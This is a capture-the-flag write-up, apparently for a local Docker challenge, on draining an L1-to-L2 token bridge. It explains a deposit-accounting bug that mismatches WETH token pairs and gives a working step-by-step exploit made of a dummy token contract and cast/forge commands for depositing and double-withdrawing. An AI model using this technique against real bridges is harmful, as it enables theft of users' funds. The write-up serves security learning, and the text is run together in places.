-
The objective is to drain all the funds of the
L1bridge. The balances ofL1bridge is2 etheras in the setup. -
This project is the bridge between Layer1 and Layer2 to bridge the assets or message. There is an off-chain mechanism called
relayerto catch the message in one layer and enforce the transaction in other layer.
- When deposit pair
(Layer1WETH, anyToken)inLayer1Bridge, it will send the message toLayer2Bridgewith(Layer1WETH, Layer2WETH)pair but thedepositsmap store the amount for(Layer1WETH, anyToken)pair. - Illustration when we execute
depositERC20(WETH, anyToken, 1 ether)- On the
L1side, thedeposits[WETH][anyToken] += 1 ether - However, on the
L2side,1 etherofWETHtokens will be minted instead of1 etherofanyToken. - We will
withdrawWETHfromL2and receiveWETHonL1chain. The important thing is that the map value of(WETH, anyToken)is not reduced but(Layer1WETH, Layer2WETH)occurs.
- On the
=> So we can exploit this bug to drain all funds.
- POC:
function _initiateERC20Deposit(
address _l1Token,
address _l2Token,
address _from,
address _to,
uint256 _amount
) internal {
IERC20(_l1Token).safeTransferFrom(_from, address(this), _amount);
bytes memory message;
if (_l1Token == weth) {
message = abi.encodeWithSelector(
IL2ERC20Bridge.finalizeDeposit.selector,
address(0),
@> Lib_PredeployAddresses.L2_WETH,
_from,
_to,
_amount
);
} else {
message = abi.encodeWithSelector(
IL2ERC20Bridge.finalizeDeposit.selector,
_l1Token,
_l2Token,
_from,
_to,
_amount
);
}
sendCrossDomainMessage(l2TokenBridge, message);
deposits[_l1Token][_l2Token] = deposits[_l1Token][_l2Token] + _amount;
emit ERC20DepositInitiated(_l1Token, _l2Token, _from, _to, _amount);
}-
Ensuring the Docker is on and we run the
deploy.shfile with./deploy.sh allcommand. -
Running
nc localhost 1337command to open the choice table in console screen. (Select1)
nc localhost 1337
1 - launch new instance
2 - kill instance
3 - get flag
action?- Get the player's address:
cast wallet address --private-key <PRIVATE_KEY>- Get addresses of the WETH and Bridge in Layer1 chain.
cast call <CHALLENGE_CONTRACT_ADDRESS> "WETH()" --rpc-url <L1_RPC_URL> --private-key <PRIVATE_KEY>
cast call <CHALLENGE_CONTRACT_ADDRESS> "BRIDGE()" --rpc-url <L1_RPC_URL> --private-key <PRIVATE_KEY>- Deploy the
RandomTokencontract in Layer2 chain.
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract RandomToken {
address public l1Token;
constructor(address _l1Token) {
l1Token = _l1Token;
}
function mint(address to, uint256 amount) external {}
function burn(address to, uint256 amount) external {}
} forge create ./src/RandomToken.sol:RandomToken --rpc-url <L2_RPC_URL> --private-key <PRIVATE_KEY> --constructor-args <L1_WETH>- Deposit
EthertoWETHcontract with2 ethervalue.
cast send <L1_WETH> "deposit()" --rpc-url <L1_RPC_URL> --private-key <PRIVATE_KEY> --value 2ether- Approve
WETHforL1_BRIDGE
cast send <L1_WETH> "approve(address,uint256)" --rpc-url <L1_RPC_URL> --private-key <PRIVATE_KEY> -- <L1_BRIDGE> 2000000000000000000- Deposit
RandomTokentoL1_BRIDGE1
cast send <L1_BRIDGE> "depositERC20(address,address,uint256)" --rpc-url <L1_RPC_URL> --private-key <PRIVATE_KEY> -- <L1_WETH> <RANDOM_TOKEN> 2000000000000000000- To ensure we deposited (
WETH,RANDOM_TOKEN, 2ether) inL1and receivedWETHinL2. We will enter this command
cast call <L2_WETH> "balanceOf(address)" --rpc-url <L2_RPC_URL> --private-key <PRIVATE_KEY> -- <PLAYER>- We will withdraw all tokens in
L1_BRIDGEby 2 transactions, one isL2_WETHwithdraw and last isRANDOM_TOKENwithdraw.
cast send <L2_BRIDGE> "withdraw(address,uint256)" --rpc-url <L2_RPC_URL> --private-key <PRIVATE_KEY> -- <L2_WETH> 2000000000000000000
cast send <L2_BRIDGE> "withdraw(address,uint256)" --rpc-url <L2_RPC_URL> --private-key <PRIVATE_KEY> -- <RANDOM_TOKEN> 2000000000000000000- Run this command again and press
3to check the finished.
nc localhost 1337
1 - launch new instance
2 - kill instance
3 - get flag
action?